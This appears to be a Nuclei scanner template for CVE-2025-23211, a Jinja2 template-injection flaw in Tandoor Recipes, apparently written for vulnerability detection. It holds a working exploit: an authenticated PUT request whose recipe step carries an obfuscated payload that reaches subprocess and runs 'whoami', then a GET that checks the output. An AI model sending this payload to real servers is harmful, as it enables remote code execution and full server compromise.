1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| id: CVE-2025-23211
info: name: Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE author: sammiee5311 severity: critical description: | Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps. impact: | Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation. remediation: | Upgrade to Tandoor Recipes version 1.5.24. reference: - https: - https: - https: - https: classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2025-23211 cwe-id: CWE-94, CWE-1336 metadata: verified: true max-request: 2 shodan-query: html:"Tandoor Recipes" tags: cve,cve2025,rce,ssti,tandoor,jinja2
variables: recipe_id: "2" token: JB81ig7b9iDQ79vlBa9sHmK1L9nvqMHr sessionid: abhg2gpc5uhl6y0l3w9x3dhmaqwvcf16
flow: http(1) && http(2)
http: - raw: - | PUT /api/recipe/{{recipe_id}}/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Cookie: csrftoken={{token}}; sessionid={{sessionid}} X-CSRFToken: {{token}} Accept: */*
{ "id": {{recipe_id}}, "name": "test", "description": "test", "image": null, "keywords": [], "steps": [ { "id": {{recipe_id}}, "name": "", "instruction": "()|attr('\\x5f\\x5fclass\\x5f\\x5f')|attr('\\x5f\\x5fbase\\x5f\\x5f')|attr('\\x5f\\x5fsubclasses\\x5f\\x5f')()|attr('\\x5f\\x5fgetitem\\x5f\\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\\x5f\\x5fgetitem\\x5f\\x5f')(0)|attr('decode')('utf-8')", "ingredients": [], "instructions_markdown": "", "time": 0, "order": 0, "show_as_header": false, "file": null, "step_recipe": null, "step_recipe_data": null, "show_ingredients_table": true, "time_visible": false, "ingredients_visible": true, "instruction_visible": true, "step_recipe_visible": false, "file_visible": false } ], "working_time": 0, "waiting_time": 0, "created_by": 1, "created_at": "2025-07-27T03:53:14.909900+02:00", "updated_at": "2025-07-27T03:53:14.953264+02:00", "source_url": null, "internal": true, "show_ingredient_overview": true, "nutrition": null, "properties": [], "food_properties": {}, "servings": 1, "file_path": "", "servings_text": "", "rating": null, "last_cooked": null, "private": false, "shared": [], "food_name": "12345" }
matchers: - type: status status: - 200
- raw: - | GET /api/recipe/{{recipe_id}}/ HTTP/1.1 Host: {{Hostname}} Cookie: csrftoken={{token}}; sessionid={{sessionid}} X-CSRFToken: {{token}}
matchers: - type: word words: - "root"
|